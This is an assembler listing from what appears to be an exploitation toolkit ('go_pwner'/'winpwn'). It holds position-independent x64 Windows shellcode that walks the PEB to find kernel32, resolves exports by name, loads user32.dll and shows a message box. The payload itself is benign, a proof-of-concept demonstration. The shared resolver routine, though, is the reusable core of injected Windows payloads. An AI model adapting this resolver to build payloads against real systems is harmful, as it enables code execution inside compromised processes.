Files
go_pwner/shellcode/asm/messagebox_x64.lst
T
2026-07-18 21:37:15 +03:00

219 lines
15 KiB
Plaintext

1 ; messagebox_x64.asm — position-independent x64 shellcode: resolve
2 ; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
3 ; loaded in a plain console process, unlike kernel32) and pop a real
4 ; message box. Returns normally (ret) once the user dismisses it, so the
5 ; host thread keeps running afterward.
6 ;
7 ; text_buf/caption_buf are fixed-size placeholders at the very end of the
8 ; assembled blob; winpwn patches them at runtime with the actual
9 ; NUL-terminated strings (see shellcraft.go).
10 BITS 64
11 default rel
12
13 start:
14 00000000 55 push rbp
15 00000001 4154 push r12
16 00000003 4889E5 mov rbp, rsp
17 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
18
19 0000000A E83F000000 call get_kernel32_base
20 0000000F 4889C1 mov rcx, rax
21 00000012 488D1551010000 lea rdx, [rel name_user32]
22 00000019 4C8D0555010000 lea r8, [rel name_messageboxa]
23 00000020 E8CE000000 call resolve_export
24 00000025 4989C4 mov r12, rax ; r12 = MessageBoxA address
25
26 00000028 4831C9 xor rcx, rcx ; hWnd = NULL
27 0000002B 488D1556010000 lea rdx, [rel text_buf] ; lpText
28 00000032 4C8D054F020000 lea r8, [rel caption_buf] ; lpCaption
29 00000039 4D31C9 xor r9, r9 ; uType = MB_OK
30 0000003C 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
31 00000040 41FFD4 call r12
32 00000043 4883C420 add rsp, 0x20
33
34 00000047 4889EC mov rsp, rbp
35 0000004A 415C pop r12
36 0000004C 5D pop rbp
37 0000004D C3 ret
38
39 %include "resolver.inc"
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
5 <1> ; one-shot resolutions).
6 <1> ;
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
9 <1> ; non-volatile register they touch, so callers can keep values live in
10 <1> ; r12-r15 across calls to either of these.
11 <1>
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
13 <1> ;
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
16 <1> ; fixed load order is the same trick essentially every public Windows x64
17 <1> ; shellcode relies on.
18 <1> get_kernel32_base:
19 0000004E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
20 00000057 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
21 0000005B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
22 0000005F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
23 00000062 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
24 00000065 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
25 00000069 C3 <1> ret
26 <1>
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
29 <1> ;
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
34 <1> find_export:
35 0000006A 4154 <1> push r12
36 0000006C 4155 <1> push r13
37 0000006E 4156 <1> push r14
38 00000070 4157 <1> push r15
39 00000072 56 <1> push rsi
40 00000073 57 <1> push rdi
41 00000074 53 <1> push rbx
42 <1>
43 00000075 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
44 00000078 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
45 <1>
46 0000007B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
47 00000080 4C01E0 <1> add rax, r12 ; rax = NT header VA
48 00000083 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
49 00000089 4C01E0 <1> add rax, r12
50 0000008C 4989C6 <1> mov r14, rax ; r14 = export directory VA
51 <1>
52 0000008F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
53 00000093 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
54 00000097 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
55 0000009A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
56 0000009E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
57 000000A1 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
58 000000A5 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
59 <1>
60 000000A8 4D31FF <1> xor r15, r15 ; r15 = loop index i
61 <1>
62 <1> .loop:
63 000000AB 4939DF <1> cmp r15, rbx
64 000000AE 7D34 <1> jge .notfound
65 <1>
66 000000B0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
67 000000B4 4C01E0 <1> add rax, r12
68 000000B7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
69 000000BA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
70 <1>
71 <1> .cmp_loop:
72 000000BD 8A06 <1> mov al, [rsi]
73 000000BF 8A0F <1> mov cl, [rdi]
74 000000C1 38C8 <1> cmp al, cl
75 000000C3 750C <1> jne .next
76 000000C5 84C0 <1> test al, al
77 000000C7 740D <1> je .found ; both hit NUL with every byte equal -> match
78 000000C9 48FFC6 <1> inc rsi
79 000000CC 48FFC7 <1> inc rdi
80 000000CF EBEC <1> jmp .cmp_loop
81 <1>
82 <1> .next:
83 000000D1 49FFC7 <1> inc r15
84 000000D4 EBD5 <1> jmp .loop
85 <1>
86 <1> .found:
87 000000D6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
88 000000DB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
89 000000DF 4C01E0 <1> add rax, r12 ; absolute address
90 000000E2 EB03 <1> jmp .done
91 <1>
92 <1> .notfound:
93 000000E4 4831C0 <1> xor rax, rax
94 <1>
95 <1> .done:
96 000000E7 5B <1> pop rbx
97 000000E8 5F <1> pop rdi
98 000000E9 5E <1> pop rsi
99 000000EA 415F <1> pop r15
100 000000EC 415E <1> pop r14
101 000000EE 415D <1> pop r13
102 000000F0 415C <1> pop r12
103 000000F2 C3 <1> ret
104 <1>
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
107 <1> ;
108 <1> ; find_export alone only works if the target module is *already* loaded
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
111 <1> ; (the function is assumed already loaded at the module base in RCX).
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
115 <1> resolve_export:
116 000000F3 4154 <1> push r12 ; kernel32 base
117 000000F5 4155 <1> push r13 ; dll name ptr (or 0)
118 000000F7 4156 <1> push r14 ; func name ptr
119 000000F9 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
120 000000FA 4889E5 <1> mov rbp, rsp
121 000000FD 4883E4F0 <1> and rsp, ~0xF
122 <1>
123 00000101 4989CC <1> mov r12, rcx
124 00000104 4989D5 <1> mov r13, rdx
125 00000107 4D89C6 <1> mov r14, r8
126 <1>
127 0000010A 4D85ED <1> test r13, r13
128 0000010D 750D <1> jnz .need_loadlibrary
129 <1>
130 0000010F 4C89E1 <1> mov rcx, r12
131 00000112 4C89F2 <1> mov rdx, r14
132 00000115 E850FFFFFF <1> call find_export
133 0000011A EB36 <1> jmp .resolve_done
134 <1>
135 <1> .need_loadlibrary:
136 0000011C 4C89E1 <1> mov rcx, r12
137 0000011F 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
138 00000126 E83FFFFFFF <1> call find_export
139 0000012B 4885C0 <1> test rax, rax
140 0000012E 741F <1> jz .resolve_fail
141 <1>
142 00000130 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
143 00000133 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
144 00000137 FFD0 <1> call rax
145 00000139 4883C420 <1> add rsp, 0x20
146 0000013D 4885C0 <1> test rax, rax
147 00000140 740D <1> jz .resolve_fail
148 <1>
149 00000142 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
150 00000145 4C89F2 <1> mov rdx, r14
151 00000148 E81DFFFFFF <1> call find_export
152 0000014D EB03 <1> jmp .resolve_done
153 <1>
154 <1> .resolve_fail:
155 0000014F 4831C0 <1> xor rax, rax
156 <1>
157 <1> .resolve_done:
158 00000152 4889EC <1> mov rsp, rbp
159 00000155 5D <1> pop rbp
160 00000156 415E <1> pop r14
161 00000158 415D <1> pop r13
162 0000015A 415C <1> pop r12
163 0000015C C3 <1> ret
164 <1>
165 0000015D 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
165 00000166 72794100 <1>
40
41 0000016A 7573657233322E646C- name_user32: db "user32.dll", 0
41 00000173 6C00
42 00000175 4D657373616765426F- name_messageboxa: db "MessageBoxA", 0
42 0000017E 784100
43
44 00000181 90<rep 7h> align 8
45 text_buf:
46 00000188 00<rep 100h> times 256 db 0
47
48 align 8
49 caption_buf:
50 00000288 00<rep 40h> times 64 db 0